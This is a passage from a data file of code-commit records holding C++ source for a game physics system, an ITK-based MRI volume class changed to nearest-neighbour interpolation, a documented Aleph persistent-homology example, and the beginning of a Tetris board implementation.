pE->addComponent<Hydra::Component::ParticleComponent>();\n\tpEPC->delay = 1.0f \/ 2.0f;\n\tpEPC->accumulator = 2 * 5.0f;\n\tpEPC->tempVelocity = glm::vec3(6.0f, 6.0f, 6.0f);\n\tpEPC->behaviour = Hydra::Component::ParticleComponent::EmitterBehaviour::Explosion;\n\tpEPC->texture = Hydra::Component::ParticleComponent::ParticleTexture::Blood;\n\tpEPC->optionalNormal = normal;\n\n\tauto pELC = pE->addComponent<LifeComponent>();\n\tpELC->maxHP = 0.9f;\n\tpELC->health = 0.9f;\n}\n\nvoid BulletPhysicsSystem::_spawnDamageText(const glm::vec3& pos, const std::string& text) {\n\tauto textEntity = world::newEntity(\"Damage\", world::root());\n\tauto transC = textEntity->addComponent<TransformComponent>();\n\ttransC->setPosition(pos);\n\ttransC->setScale(glm::vec3(10));\n\ttextEntity->addComponent<MeshComponent>()->loadMesh(\"TEXTQUAD\");\n\tauto lifeC = textEntity->addComponent<LifeComponent>();\n\tlifeC->health = lifeC->maxHP = 2;\n\tauto textC = textEntity->addComponent<TextComponent>();\n\t\/\/char buff[64];\n\t\/\/snprintf(buff, sizeof(buff), \"%.0f\\x01\\x02\", text);\n\ttextC->setText(text.substr(0, 2));\n\ttextC->isStatic = false;\n}\n\n\nvoid Hydra::System::BulletPhysicsSystem::_addPickUp(PickUpComponent * pickupComponent, PerkComponent * perkComponent)\n{\n\tswitch (pickupComponent->pickUpType)\n\t{\n\tcase PickUpComponent::PICKUP_RANDOMPERK: {\n\t\tstd::vector<int> perksNotFound;\n\t\t\n\t\tfor (size_t i = 0; i < perkComponent->AMOUNTOFPERKS; i++){\n\t\t\tbool perkFound = false;\n\t\t\tfor (size_t j = 0; j < perkComponent->activePerks.size(); j++){\n\t\t\t\tif (PerkComponent::Perk(i) == perkComponent->activePerks[j]){\n\t\t\t\t\tperkFound = true;\n\t\t\t\t\tj = perkComponent->activePerks.size();\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor (size_t j = 0; j < perkComponent->newPerks.size(); j++){\n\t\t\t\tif (PerkComponent::Perk(i) == perkComponent->newPerks[j]) {\n\t\t\t\t\tperkFound = true;\n\t\t\t\t\tj = perkComponent->newPerks.size();\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!perkFound)\n\t\t\t\tperksNotFound.push_back(i);\n\t\t}\n\n\t\tif (!perksNotFound.empty()){\n\t\t\tint newPerk = rand() % (perksNotFound.size());\n\t\t\tperkComponent->newPerks.push_back(PerkComponent::Perk(perksNotFound[newPerk]));\n\t\t}\n\t\t\n\t\tWorld::World::World::getEntity(pickupComponent->entityID)->dead = true;\n\t}\n\t\tbreak;\n\tcase PickUpComponent::PICKUP_HEALTH: {\n\n\t}\n\t\tbreak;\n\tcase PickUpComponent::PICKUP_AMMO: {\n\n\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid BulletPhysicsSystem::registerUI() {}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This object encapsulates the 3D MRI data.\n\/\/ Its job is to initialise the data,\n\/\/  take transform parameters,\n\/\/ then provide slices and associated masks.\n\n#ifndef MRI_HPP_\n#define MRI_HPP_\n\n#include \"itkImage.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkResampleImageFilter.h\"\n#include \"itkLinearInterpolateImageFunction.h\"\n#include \"itkNearestNeighborInterpolateImageFunction.h\"\n#include \"itkRescaleIntensityImageFilter.h\"\n#include \"itkChangeInformationImageFilter.h\"\n#include \"itkImageMaskSpatialObject.h\"\n#include \"itkImageRegionIterator.h\"\n#include \"itkExtractImageFilter.h\"\n\nclass MRI {\npublic:\n\t\/\/ unsigned char is native type, but multires can't handle unsigned types\n  \/\/ typedef unsigned char PixelType;\n  typedef short PixelType;\n  typedef itk::Image< PixelType, 2 > SliceType;\n\ttypedef itk::Image< unsigned char, 2 > MaskSliceType;\n  typedef itk::Image< PixelType, 3 > VolumeType;\n\ttypedef itk::Image< unsigned char, 3 > MaskVolumeType;\n\ttypedef vector< SliceType::Pointer > SliceVectorType;\n\ttypedef vector< MaskSliceType::Pointer > MaskSliceVectorType;\n  typedef itk::ImageFileReader< VolumeType > ReaderType;\n\ttypedef itk::RescaleIntensityImageFilter< VolumeType, VolumeType > RescaleIntensityFilterType;\n\ttypedef itk::ChangeInformationImageFilter< VolumeType > ShrinkerType;\n\ttypedef itk::ChangeInformationImageFilter< MaskVolumeType > MaskSpacerType;\n\ttypedef itk::VersorRigid3DTransform< double > TransformType;\n\ttypedef TransformType::ParametersType ParametersType;\n  typedef itk::LinearInterpolateImageFunction< VolumeType, double > LinearInterpolatorType;\n  typedef itk::NearestNeighborInterpolateImageFunction< MaskVolumeType, double > NearestNeighborInterpolatorType;\n  typedef itk::ResampleImageFilter< VolumeType, VolumeType > ResamplerType;\n  typedef itk::ResampleImageFilter< MaskVolumeType, MaskVolumeType > MaskResamplerType;\n  typedef itk::ExtractImageFilter< VolumeType, SliceType > SliceExtractorType;\n  typedef itk::ExtractImageFilter< MaskVolumeType, MaskSliceType > MaskSliceExtractorType;\n  typedef itk::ImageRegionIterator< MaskVolumeType > IteratorType;\n  typedef itk::ImageMaskSpatialObject< 3 > MaskType3D;\n  typedef itk::ImageMaskSpatialObject< 2 > MaskType2D;\n\ttypedef vector< MaskType2D::Pointer > MaskVectorType2D;\n  \n\t\n\tVolumeType::Pointer originalImage;\n\tMaskVolumeType::Pointer originalMask;\n  SliceVectorType slices;\n  MaskSliceVectorType maskSlices;\n\tMaskType3D::Pointer mask3D;\n  MaskVectorType2D masks2D;\n  TransformType::Pointer transform;\n  LinearInterpolatorType::Pointer linearInterpolator;\n\tNearestNeighborInterpolatorType::Pointer nearestNeighborInterpolator;\n\tRescaleIntensityFilterType::Pointer intensityRescaler;\n\tShrinkerType::Pointer resizer;\n\tMaskSpacerType::Pointer maskSpacer;\n  ResamplerType::Pointer resampler;\n  VolumeType::SpacingType resamplerSpacing;\n  VolumeType::SizeType resamplerSize;\n  MaskResamplerType::Pointer maskResampler;\n  SliceExtractorType::Pointer sliceExtractor;\n  MaskSliceExtractorType::Pointer maskSliceExtractor;\n  \n\t\n\tMRI(char const *inputFileName, VolumeType::SpacingType spacing, VolumeType::SizeType size, double initialResizeFactor):\n\t  resamplerSpacing(spacing),\n\t  resamplerSize(size) {\n\t\treadFile(inputFileName);\n\t\trescaleIntensity();\n\t\tresizeImage(initialResizeFactor);\n\t\tbuildOriginalMaskVolume();\n    initialiseFilters();\n    buildSlices();\n    buildMaskSlices();\n\t}\n\t\n\tvoid readFile(char const *inputFileName) {\n\t  ReaderType::Pointer volumeReader = ReaderType::New();\n\t\tvolumeReader->SetFileName( inputFileName );\n    volumeReader->Update();\n\t\toriginalImage = volumeReader->GetOutput();\n\t}\n\t\n\tvoid rescaleIntensity() {\n\t\tintensityRescaler = RescaleIntensityFilterType::New();\n\t\tintensityRescaler->SetOutputMinimum( 0 );\n\t\tintensityRescaler->SetOutputMaximum( 255 );\n\t\tintensityRescaler->SetInput( originalImage );\n\t\tintensityRescaler->Update();\n\t\toriginalImage = intensityRescaler->GetOutput();\n\t}\n\t\n\tvoid resizeImage(float factor) {\n\t\tresizer = ShrinkerType::New();\n\t\tresizer->ChangeSpacingOn();\n\t\tresizer->SetInput( originalImage );\n\t\tShrinkerType::SpacingType spacings3D = originalImage->GetSpacing();\n\t\tfor(int i=0; i<3; i++) {\n\t\t\tspacings3D[i] = spacings3D[i]*factor;\n\t\t}\n\t\tresizer->SetOutputSpacing( spacings3D );\n\t\tresizer->Update();\n\t\toriginalImage = resizer->GetOutput();\n\t}\n\t\n\tvoid buildOriginalMaskVolume() {\n\t\t\/\/ make new mask volume and make it all white\n\t\tMaskVolumeType::RegionType region;\n\t\tregion.SetSize( originalImage->GetLargestPossibleRegion().GetSize() );\n\t\t\n\t\toriginalMask = MaskVolumeType::New();\n\t\toriginalMask->SetRegions( region );\n\t\toriginalMask->CopyInformation( originalImage );\n\t  originalMask->Allocate();\n    originalMask->FillBuffer( 255 );\n\t\t\n\t\tmaskSpacer = MaskSpacerType::New();\n\t\tmaskSpacer->ChangeSpacingOn();\n\t\tmaskSpacer->SetOutputSpacing( originalImage->GetSpacing() );\n\t\t\t\t\n\t\tmaskSpacer->SetInput( originalMask );\n\t\tmaskSpacer->Update();\n\t\toriginalMask = maskSpacer->GetOutput();\n\t\t\t\t\n\t  mask3D = MaskType3D::New();\n\t\tmask3D->SetImage( originalMask );\n\t}\n\t\t\n\tvoid initialiseFilters() {\n\t\t\/\/ resamplers\n\t\ttransform = TransformType::New();\n\t  transform->SetIdentity();\n\t\tlinearInterpolator = LinearInterpolatorType::New();\n\t\tnearestNeighborInterpolator = NearestNeighborInterpolatorType::New();\n\t\tresampler = ResamplerType::New();\n    resampler->SetInput( originalImage );\n\t\tresampler->SetInterpolator( linearInterpolator );\n\t\tresampler->SetOutputSpacing( resamplerSpacing );\n\t\tresampler->SetSize( resamplerSize );\n\t\tresampler->SetTransform( transform );\n\t\tresampler->SetDefaultPixelValue( 127 );\n\t\tmaskResampler = MaskResamplerType::New();\n\t\tmaskResampler->SetInput( originalMask );\n\t\tmaskResampler->SetInterpolator( nearestNeighborInterpolator );\n\t\tmaskResampler->SetOutputSpacing( resamplerSpacing );\n\t\tmaskResampler->SetSize( resamplerSize );\n\t\tmaskResampler->SetTransform( transform );\n\t\t\n\t\t\/\/ extract image filters\n    sliceExtractor = SliceExtractorType::New();\n    sliceExtractor->SetInput( resampler->GetOutput() );\n\t\tmaskSliceExtractor = MaskSliceExtractorType::New();\n    maskSliceExtractor->SetInput( maskResampler->GetOutput() );\n\t}\n\t\n\tvoid buildSlices() {\n\t  \/\/ set up extractor\n    VolumeType::SizeType size = resamplerSize;\n    size[2] = 0;\n    \n    VolumeType::IndexType sliceIndex = {{0, 0, 0}};\n    \n    VolumeType::RegionType sliceRegion;\n    sliceRegion.SetSize( size );\n    sliceRegion.SetIndex( sliceIndex );\n    \n    sliceExtractor->SetExtractionRegion( sliceRegion );\n    \n    slices.clear();\n    \n    for(unsigned int i=0; i<resamplerSize[2]; i++) {\n      \/\/ Set the z-coordinate of the slice to be extracted\n      sliceIndex[2] = i;\n      \n      \/\/ add output to slices vector\n      \/\/ sliceExtractor->Update();\n      slices.push_back( sliceExtractor->GetOutput() );\n      slices.back()->DisconnectPipeline();\n    }\n    \n\t}\n\t\n\tvoid buildMaskSlices() {\n\t  \/\/ set up extractor\n    VolumeType::SizeType size = resamplerSize;\n    size[2] = 0;\n    \n    VolumeType::IndexType sliceIndex = {{0, 0, 0}};\n    \n    VolumeType::RegionType sliceRegion;\n    sliceRegion.SetSize( size );\n    sliceRegion.SetIndex( sliceIndex );\n    \n    maskSliceExtractor->SetExtractionRegion( sliceRegion );\n    \n    maskSlices.clear();\n    \n    for(unsigned int i=0; i<resamplerSize[2]; i++) {\n      \/\/ Set the z-coordinate of the slice to be extracted\n      sliceIndex[2] = i;\n      \n      \/\/ add output to slices vector\n      \/\/ maskSliceExtractor->Update();\n      maskSlices.push_back( maskSliceExtractor->GetOutput() );\n      maskSlices.back()->DisconnectPipeline();\n    }\n  \n\t}\n\t\n\tvoid SetTransformParameters(TransformType::Pointer inputTransform) {\n    transform->SetParameters( inputTransform->GetParameters() );\n    transform->SetFixedParameters( inputTransform->GetFixedParameters() );\n\t}\n\t\n\tVolumeType::Pointer GetVolume() {\n\t\treturn originalImage;\n\t}\n\t\n\tMaskVolumeType::Pointer GetMaskVolume() {\n\t\treturn originalMask;\n\t}\n\t\n\tMaskType3D::Pointer GetMask3D() {\n\t\treturn mask3D;\n\t}\n\t\n\tVolumeType::Pointer GetResampledVolume() {\n    resampler->Update();\n    return resampler->GetOutput();\n\t}\n\t\n\tMaskVolumeType::Pointer GetResampledMaskVolume() {\n    maskResampler->Update();\n    return maskResampler->GetOutput();\n\t}\n\t\nprotected:\n};\n#endif\n<commit_msg>Changed MRI volume linear interpolator to nearest neighbour.<commit_after>\/\/ This object encapsulates the 3D MRI data.\n\/\/ Its job is to initialise the data,\n\/\/  take transform parameters,\n\/\/ then provide slices and associated masks.\n\n#ifndef MRI_HPP_\n#define MRI_HPP_\n\n#include \"itkImage.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkResampleImageFilter.h\"\n#include \"itkLinearInterpolateImageFunction.h\"\n#include \"itkNearestNeighborInterpolateImageFunction.h\"\n#include \"itkRescaleIntensityImageFilter.h\"\n#include \"itkChangeInformationImageFilter.h\"\n#include \"itkImageMaskSpatialObject.h\"\n#include \"itkImageRegionIterator.h\"\n#include \"itkExtractImageFilter.h\"\n\nclass MRI {\npublic:\n\t\/\/ unsigned char is native type, but multires can't handle unsigned types\n  \/\/ typedef unsigned char PixelType;\n  typedef short PixelType;\n  typedef itk::Image< PixelType, 2 > SliceType;\n\ttypedef itk::Image< unsigned char, 2 > MaskSliceType;\n  typedef itk::Image< PixelType, 3 > VolumeType;\n\ttypedef itk::Image< unsigned char, 3 > MaskVolumeType;\n\ttypedef vector< SliceType::Pointer > SliceVectorType;\n\ttypedef vector< MaskSliceType::Pointer > MaskSliceVectorType;\n  typedef itk::ImageFileReader< VolumeType > ReaderType;\n\ttypedef itk::RescaleIntensityImageFilter< VolumeType, VolumeType > RescaleIntensityFilterType;\n\ttypedef itk::ChangeInformationImageFilter< VolumeType > ShrinkerType;\n\ttypedef itk::ChangeInformationImageFilter< MaskVolumeType > MaskSpacerType;\n\ttypedef itk::VersorRigid3DTransform< double > TransformType;\n\ttypedef TransformType::ParametersType ParametersType;\n  \/\/ typedef itk::LinearInterpolateImageFunction< VolumeType, double > VolumeInterpolatorType;\n  typedef itk::NearestNeighborInterpolateImageFunction< VolumeType, double > VolumeInterpolatorType;\n  typedef itk::NearestNeighborInterpolateImageFunction< MaskVolumeType, double > MaskVolumeInterpolatorType;\n  typedef itk::ResampleImageFilter< VolumeType, VolumeType > ResamplerType;\n  typedef itk::ResampleImageFilter< MaskVolumeType, MaskVolumeType > MaskResamplerType;\n  typedef itk::ExtractImageFilter< VolumeType, SliceType > SliceExtractorType;\n  typedef itk::ExtractImageFilter< MaskVolumeType, MaskSliceType > MaskSliceExtractorType;\n  typedef itk::ImageRegionIterator< MaskVolumeType > IteratorType;\n  typedef itk::ImageMaskSpatialObject< 3 > MaskType3D;\n  typedef itk::ImageMaskSpatialObject< 2 > MaskType2D;\n\ttypedef vector< MaskType2D::Pointer > MaskVectorType2D;\n  \n\t\n\tVolumeType::Pointer originalImage;\n\tMaskVolumeType::Pointer originalMask;\n  SliceVectorType slices;\n  MaskSliceVectorType maskSlices;\n\tMaskType3D::Pointer mask3D;\n  MaskVectorType2D masks2D;\n  TransformType::Pointer transform;\n  VolumeInterpolatorType::Pointer volumeInterpolator;\n\tMaskVolumeInterpolatorType::Pointer maskVolumeInterpolator;\n\tRescaleIntensityFilterType::Pointer intensityRescaler;\n\tShrinkerType::Pointer resizer;\n\tMaskSpacerType::Pointer maskSpacer;\n  ResamplerType::Pointer resampler;\n  VolumeType::SpacingType resamplerSpacing;\n  VolumeType::SizeType resamplerSize;\n  MaskResamplerType::Pointer maskResampler;\n  SliceExtractorType::Pointer sliceExtractor;\n  MaskSliceExtractorType::Pointer maskSliceExtractor;\n  \n\t\n\tMRI(char const *inputFileName, VolumeType::SpacingType spacing, VolumeType::SizeType size, double initialResizeFactor):\n\t  resamplerSpacing(spacing),\n\t  resamplerSize(size) {\n\t\treadFile(inputFileName);\n\t\trescaleIntensity();\n\t\tresizeImage(initialResizeFactor);\n\t\tbuildOriginalMaskVolume();\n    initialiseFilters();\n    buildSlices();\n    buildMaskSlices();\n\t}\n\t\n\tvoid readFile(char const *inputFileName) {\n\t  ReaderType::Pointer volumeReader = ReaderType::New();\n\t\tvolumeReader->SetFileName( inputFileName );\n    volumeReader->Update();\n\t\toriginalImage = volumeReader->GetOutput();\n\t}\n\t\n\tvoid rescaleIntensity() {\n\t\tintensityRescaler = RescaleIntensityFilterType::New();\n\t\tintensityRescaler->SetOutputMinimum( 0 );\n\t\tintensityRescaler->SetOutputMaximum( 255 );\n\t\tintensityRescaler->SetInput( originalImage );\n\t\tintensityRescaler->Update();\n\t\toriginalImage = intensityRescaler->GetOutput();\n\t}\n\t\n\tvoid resizeImage(float factor) {\n\t\tresizer = ShrinkerType::New();\n\t\tresizer->ChangeSpacingOn();\n\t\tresizer->SetInput( originalImage );\n\t\tShrinkerType::SpacingType spacings3D = originalImage->GetSpacing();\n\t\tfor(int i=0; i<3; i++) {\n\t\t\tspacings3D[i] = spacings3D[i]*factor;\n\t\t}\n\t\tresizer->SetOutputSpacing( spacings3D );\n\t\tresizer->Update();\n\t\toriginalImage = resizer->GetOutput();\n\t}\n\t\n\tvoid buildOriginalMaskVolume() {\n\t\t\/\/ make new mask volume and make it all white\n\t\tMaskVolumeType::RegionType region;\n\t\tregion.SetSize( originalImage->GetLargestPossibleRegion().GetSize() );\n\t\t\n\t\toriginalMask = MaskVolumeType::New();\n\t\toriginalMask->SetRegions( region );\n\t\toriginalMask->CopyInformation( originalImage );\n\t  originalMask->Allocate();\n    originalMask->FillBuffer( 255 );\n\t\t\n\t\tmaskSpacer = MaskSpacerType::New();\n\t\tmaskSpacer->ChangeSpacingOn();\n\t\tmaskSpacer->SetOutputSpacing( originalImage->GetSpacing() );\n\t\t\t\t\n\t\tmaskSpacer->SetInput( originalMask );\n\t\tmaskSpacer->Update();\n\t\toriginalMask = maskSpacer->GetOutput();\n\t\t\t\t\n\t  mask3D = MaskType3D::New();\n\t\tmask3D->SetImage( originalMask );\n\t}\n\t\t\n\tvoid initialiseFilters() {\n\t\t\/\/ resamplers\n\t\ttransform = TransformType::New();\n\t  transform->SetIdentity();\n    volumeInterpolator = VolumeInterpolatorType::New();\n\t\tmaskVolumeInterpolator = MaskVolumeInterpolatorType::New();\n\t\tresampler = ResamplerType::New();\n    resampler->SetInput( originalImage );\n\t\tresampler->SetInterpolator( volumeInterpolator );\n\t\tresampler->SetOutputSpacing( resamplerSpacing );\n\t\tresampler->SetSize( resamplerSize );\n\t\tresampler->SetTransform( transform );\n\t\tresampler->SetDefaultPixelValue( 127 );\n\t\tmaskResampler = MaskResamplerType::New();\n\t\tmaskResampler->SetInput( originalMask );\n\t\tmaskResampler->SetInterpolator( maskVolumeInterpolator );\n\t\tmaskResampler->SetOutputSpacing( resamplerSpacing );\n\t\tmaskResampler->SetSize( resamplerSize );\n\t\tmaskResampler->SetTransform( transform );\n\t\t\n\t\t\/\/ extract image filters\n    sliceExtractor = SliceExtractorType::New();\n    sliceExtractor->SetInput( resampler->GetOutput() );\n\t\tmaskSliceExtractor = MaskSliceExtractorType::New();\n    maskSliceExtractor->SetInput( maskResampler->GetOutput() );\n\t}\n\t\n\tvoid buildSlices() {\n\t  \/\/ set up extractor\n    VolumeType::SizeType size = resamplerSize;\n    size[2] = 0;\n    \n    VolumeType::IndexType sliceIndex = {{0, 0, 0}};\n    \n    VolumeType::RegionType sliceRegion;\n    sliceRegion.SetSize( size );\n    sliceRegion.SetIndex( sliceIndex );\n    \n    sliceExtractor->SetExtractionRegion( sliceRegion );\n    \n    slices.clear();\n    \n    for(unsigned int i=0; i<resamplerSize[2]; i++) {\n      \/\/ Set the z-coordinate of the slice to be extracted\n      sliceIndex[2] = i;\n      \n      \/\/ add output to slices vector\n      \/\/ sliceExtractor->Update();\n      slices.push_back( sliceExtractor->GetOutput() );\n      slices.back()->DisconnectPipeline();\n    }\n    \n\t}\n\t\n\tvoid buildMaskSlices() {\n\t  \/\/ set up extractor\n    VolumeType::SizeType size = resamplerSize;\n    size[2] = 0;\n    \n    VolumeType::IndexType sliceIndex = {{0, 0, 0}};\n    \n    VolumeType::RegionType sliceRegion;\n    sliceRegion.SetSize( size );\n    sliceRegion.SetIndex( sliceIndex );\n    \n    maskSliceExtractor->SetExtractionRegion( sliceRegion );\n    \n    maskSlices.clear();\n    \n    for(unsigned int i=0; i<resamplerSize[2]; i++) {\n      \/\/ Set the z-coordinate of the slice to be extracted\n      sliceIndex[2] = i;\n      \n      \/\/ add output to slices vector\n      \/\/ maskSliceExtractor->Update();\n      maskSlices.push_back( maskSliceExtractor->GetOutput() );\n      maskSlices.back()->DisconnectPipeline();\n    }\n  \n\t}\n\t\n\tvoid SetTransformParameters(TransformType::Pointer inputTransform) {\n    transform->SetParameters( inputTransform->GetParameters() );\n    transform->SetFixedParameters( inputTransform->GetFixedParameters() );\n\t}\n\t\n\tVolumeType::Pointer GetVolume() {\n\t\treturn originalImage;\n\t}\n\t\n\tMaskVolumeType::Pointer GetMaskVolume() {\n\t\treturn originalMask;\n\t}\n\t\n\tMaskType3D::Pointer GetMask3D() {\n\t\treturn mask3D;\n\t}\n\t\n\tVolumeType::Pointer GetResampledVolume() {\n    resampler->Update();\n    return resampler->GetOutput();\n\t}\n\t\n\tMaskVolumeType::Pointer GetResampledMaskVolume() {\n    maskResampler->Update();\n    return maskResampler->GetOutput();\n\t}\n\t\nprotected:\n};\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"persistenceDiagrams\/PersistenceDiagram.hh\"\n#include \"persistenceDiagrams\/Norms.hh\"\n\n#include \"persistentHomology\/Calculation.hh\"\n\n#include \"topology\/io\/PLY.hh\"\n\n#include \"utilities\/Timer.hh\"\n\n#include <iostream>\n\nusing DataType          = double;\nusing VertexType        = unsigned;\nusing Simplex           = aleph::topology::Simplex<DataType, VertexType>;\nusing SimplicialComplex = aleph::topology::SimplicialComplex<Simplex>;\n\nint main( int argc, char** argv )\n{\n  std::string filename;\n  std::string property = \"quality\";\n\n  if( argc == 1 )\n    return -1;\n\n  if( argc >= 2 )\n    filename = argv[1];\n\n  if( argc >= 3 )\n    property = argv[2];\n\n  aleph::topology::io::PLYReader plyReader;\n  plyReader.setDataProperty( property );\n\n  SimplicialComplex K;\n  plyReader( filename, K );\n\n  \/\/ TODO:\n  \/\/   - Expansion (higher-dimensional simplices)\n  \/\/   - Different filtrations (superlevel, sublevel)\n\n  std::cerr << \"* Loaded simplicial complex with \" << K.size() << \" simplices\\n\";\n\n  aleph::utilities::Timer timer;\n\n  auto diagrams\n    = aleph::calculatePersistenceDiagrams( K );\n\n  std::cerr << \"* Calculated \" << diagrams.size() << \" persistence diagrams in \" << timer.elapsed_s() << \"s\\n\";\n\n  for( auto&& D : diagrams )\n  {\n    D.removeDiagonal();\n    std::cout << D << \"\\n\";\n  }\n\n  for( auto&& D : diagrams )\n  {\n    std::cerr << \"* Total degree-1 persistence: \" << aleph::totalPersistence( D, 1.0 ) << \"\\n\"\n              << \"* Total degree-2 persistence: \" << aleph::totalPersistence( D, 2.0 ) << \"\\n\"\n              << \"* 1-norm:                     \" << aleph::pNorm( D, 1.0 ) << \"\\n\"\n              << \"* 2-norm:                     \" << aleph::pNorm( D, 2.0 ) << \"\\n\";\n  }\n}\n<commit_msg>Started documenting PLY example<commit_after>\/*\n  This is an example file shipped by 'Aleph - A Library for Exploring\n  Persistent Homology'.\n\n  This example demonstrates how to load a mesh in PLY format from\n  a file, convert it into a simplicial complex, and calculate its\n  persistent homology. The Weights for the simplicial complex are\n  taken from a user-specified property within the PLY file.\n\n  Demonstrated classes:\n\n    - aleph::PersistenceDiagram\n    - aleph::topology::Simplex\n    - aleph::topology::SimplicialComplex\n    - aleph::topology::io::PLYReader\n    - aleph::utilities::Timer\n\n  Demonstrated functions:\n\n    - aleph::calculatePersistenceDiagrams\n    - aleph::pNorm\n    - aleph::totalPersistence\n    - Persistence diagram pruning\n\n  Original author: Bastian Rieck\n*\/\n\n#include \"persistenceDiagrams\/PersistenceDiagram.hh\"\n#include \"persistenceDiagrams\/Norms.hh\"\n\n#include \"persistentHomology\/Calculation.hh\"\n\n#include \"topology\/io\/PLY.hh\"\n\n#include \"utilities\/Timer.hh\"\n\n#include <iostream>\n#include <vector>\n\nint main( int argc, char** argv )\n{\n  std::string filename;\n  std::string property = \"quality\";\n\n  if( argc == 1 )\n  {\n    \/\/ TODO: usage\n    return -1;\n  }\n\n  if( argc >= 2 )\n    filename = argv[1];\n\n  if( argc >= 3 )\n    property = argv[2];\n\n  \/\/ Loading -----------------------------------------------------------\n\n  \/\/ We first declare the data types we want to convert the file to so\n  \/\/ that the PLY reader class knows the desired type of complex. Note\n  \/\/ that the `Simplex` and `SimplicialComplex` type are declared just\n  \/\/ for reasons of convenience.\n  using DataType          = double;\n  using VertexType        = unsigned;\n  using Simplex           = aleph::topology::Simplex<DataType, VertexType>;\n  using SimplicialComplex = aleph::topology::SimplicialComplex<Simplex>;\n\n  \/\/ Declares the reader for loading a PLY file. At present, the loading\n  \/\/ of binary files is not yet supported (even though some code exists)\n  \/\/ and the reader only handles ASCII files properly.\n  \/\/\n  \/\/ Note that we set a 'data property'. This specifies the attribute of\n  \/\/ every vertex that is used to assign the data values of simplices in\n  \/\/ the simplicial complex. The property defaults to 'z', i.e. the last\n  \/\/ coordinate of every vertex. In this example, we permit users to use\n  \/\/ another property.\n  \/\/\n  \/\/ See https:\/\/en.wikipedia.org\/wiki\/PLY_(file_format) for information\n  \/\/ about the PLY format.\n  aleph::topology::io::PLYReader plyReader;\n  plyReader.setDataProperty( property );\n\n  SimplicialComplex K;\n  plyReader( filename, K );\n\n  std::cerr << \"* Loaded simplicial complex with \" << K.size() << \" simplices\\n\";\n\n  \/\/ Persistent homology -----------------------------------------------\n  \/\/\n  \/\/ At present, only the mesh connectivity is used to calculate\n  \/\/ persistent homology.\n  \/\/\n  \/\/ Note that we do not have to sort K, the simplicial complex,\n  \/\/ prior to the calculations. By default, the PLY reader sorts\n  \/\/ the complex from small weights to large weights.\n  \/\/\n  \/\/ TODO:\n  \/\/   - Expansion (higher-dimensional simplices)\n  \/\/   - Different filtrations (superlevel, sublevel)\n\n  \/\/ This small utility class permits measuring the time of certain\n  \/\/ operations. Internally, it makes use of `std::chrono` in order\n  \/\/ to permit a sufficiently fine resolution.\n  aleph::utilities::Timer timer;\n\n  auto diagrams\n    = aleph::calculatePersistenceDiagrams( K );\n\n  std::cerr << \"* Calculated \" << diagrams.size() << \" persistence diagrams in \" << timer.elapsed_s() << \"s\\n\";\n\n  for( auto&& D : diagrams )\n  {\n    \/\/ Removes all features with zero persistence from the diagram in\n    \/\/ order to simplify it.\n    D.removeDiagonal();\n\n    \/\/ This results in a tabular output of all points in the diagram;\n    \/\/ it is ideally suited for further analysis in 'gnuplot'. Notice\n    \/\/ that the two new lines can be used to automatically detect the\n    \/\/ next dimension of the diagram.\n    std::cout << D << \"\\n\\n\";\n  }\n\n  for( auto&& D : diagrams )\n  {\n    \/\/ Displays some statistics about the persistence diagrams. The\n    \/\/ total persistence (with some power $p$) refers to the sum of\n    \/\/ all persistence values, while the $p$-norm is merely a power\n    \/\/ of the total persistence value.\n    \/\/\n    \/\/ Both norms are useful for determining the amount of activity\n    \/\/ within a data set.\n    std::cerr << \"* Total degree-1 persistence: \" << aleph::totalPersistence( D, 1.0 ) << \"\\n\"\n              << \"* Total degree-2 persistence: \" << aleph::totalPersistence( D, 2.0 ) << \"\\n\"\n              << \"* 1-norm:                     \" << aleph::pNorm( D, 1.0 ) << \"\\n\"\n              << \"* 2-norm:                     \" << aleph::pNorm( D, 2.0 ) << \"\\n\";\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  Board.cpp\n\/\/  tetris\n\/\/\n\/\/  Created by Xhacker Liu on 2\/14\/14.\n\/\/  Copyright (c) 2014 Xhacker. All rights reserved.\n\/\/\n\n#include \"Board.h\"\n#include \"constants.h\"\n#include \"include\/Angel.h\"\n#include <iostream>\n\nusing namespace std;\n\nbool Board::has_collision(bool tetro_blocks[4][4], int steps, int cur_x)\n{\n    int left_most = INFINITY;\n    int right_most = -INFINITY;\n    int bottom_most = -INFINITY;\n    for (int y = 0; y < 4; ++y) {\n        for (int x = 0; x < 4; ++x) {\n            if (tetro_blocks[y][x]) {\n                if (x < left_most) {\n                    left_most = x;\n                }\n                if (x > right_most) {\n                    right_most = x;\n                }\n                if (y > bottom_most) {\n                    bottom_most = y;\n                }\n            }\n        }\n    }\n\n    \/\/ Check side border, left_most and right_most are between 0~3\n    if (cur_x + left_most < 0) {\n        return true;\n    }\n    if (cur_x + right_most > 9) {\n        return true;\n    }\n    \n    \/\/ Check bottom border\n    if (steps + bottom_most >= 20) {\n        return true;\n    }\n    \n    \/\/ Check collision\n    for (int y = 0; y < 4; ++y) {\n        for (int x = 0; x < 4; ++x) {\n            if (tetro_blocks[y][x] && blocks[steps + y][cur_x + x]) {\n                return true;\n            }\n        }\n    }\n    \n    return false;\n}\n\nvoid Board::add_blocks(bool tetro_blocks[4][4], int steps, int cur_x)\n{\n    for (int y = 0; y < 4; ++y) {\n        for (int x = 0; x < 4; ++x) {\n            if (tetro_blocks[y][x] && steps + y < 20 && cur_x + x < 10) {\n                if (blocks[steps + y][cur_x + x] == 0) {\n                    num_of_points += 4;\n                }\n                blocks[steps + y][cur_x + x] = 1;\n            }\n        }\n    }\n}\n\nvoid Board::write_buffer()\n{\n    int current = 0;\n    for (int i = 0; i < 20; ++i) {\n        for (int j = 0; j < 10; ++j) {\n            if (blocks[i][j]) {\n                cout << i << \", \" << j << \", \" << num_of_points << endl;\n                vec2 points[4];\n                points[0] = vec2(-W + (j    ) * BLOCK_W, H - (i + 1) * BLOCK_H);\n                points[1] = vec2(-W + (j + 1) * BLOCK_W, H - (i + 1) * BLOCK_H);\n                points[2] = vec2(-W + (j    ) * BLOCK_W, H - i * BLOCK_H);\n                points[3] = vec2(-W + (j + 1) * BLOCK_W, H - i * BLOCK_H);\n                glBufferSubData(GL_ARRAY_BUFFER, (kBeginBoardPoints + 4 * current) * sizeof(vec2), 